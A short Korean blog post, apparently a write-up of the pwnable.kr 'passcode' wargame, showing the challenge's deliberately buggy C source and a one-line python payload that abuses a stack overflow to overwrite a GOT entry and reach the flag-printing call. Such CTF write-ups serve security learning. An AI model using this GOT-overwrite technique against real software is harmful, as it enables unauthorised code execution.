ㅎㅇ
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> void login(){     int passcode1;     int passcode2;     printf("enter passcode1 : ");     scanf("%d", passcode1);     fflush(stdin);     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)     printf("enter passcode2 : ");         scanf("%d", passcode2);     printf("checking...\n");     if(passcode1==338150 && passcode2==13371337){                 printf("Login OK!\n");                 system("/bin/cat flag");         }         else{                 printf("Login Failed!\n");         exit(0);         } } void welcome(){     char name[100];     printf("enter you name : ");     scanf("%100s", name);     printf("Welcome %s!\n", name); } int main(){     printf("Toddler's Secure Login System 1.0 beta.\n");     welcome();     login();     // something after login...     printf("Now I can safely trust you that you have credential :)\n");     return 0;     } | cs | 
ㅇㅇ 이런 소스가 있는데
메인을 보면
welcome 함수를 호출하고
그다음 login 함수를 호출함
login 함수를 보면 &이게 없음
처음에 그냥 입력하면 되는 줄 알고 왜 10점인가 보고 있는데
&이게 보임
GOT를 이용해
/bin/sh 넣어줌
페이로드부터 보면
(python -c 'print "\x41"*96+"\x00\xa0\x04\x08+"134514147"') | ./passcode
scanf("%100s",name)
여기서 오버플로우가 일어나 96바이트 이후로
4바이트를 조작할 수 있다
4바이트 조작할 주소는 804a000이고
뒤에 숫자 134514147는
0x080485e3을 10진수로 나타낸 숫자다
이렇게 끝
'WARGAME > Pwnable.kr' 카테고리의 다른 글
| pwnable.kr coin1 (0) | 2017.01.09 | 
|---|---|
| pwnable.kr simple login (0) | 2017.01.06 | 
| PWNABLE KR ascii_easy (0) | 2016.03.28 | 
| PWNABLE KR uaf (0) | 2016.03.24 | 
| PWNABLE KR CMD1 (0) | 2016.02.09 |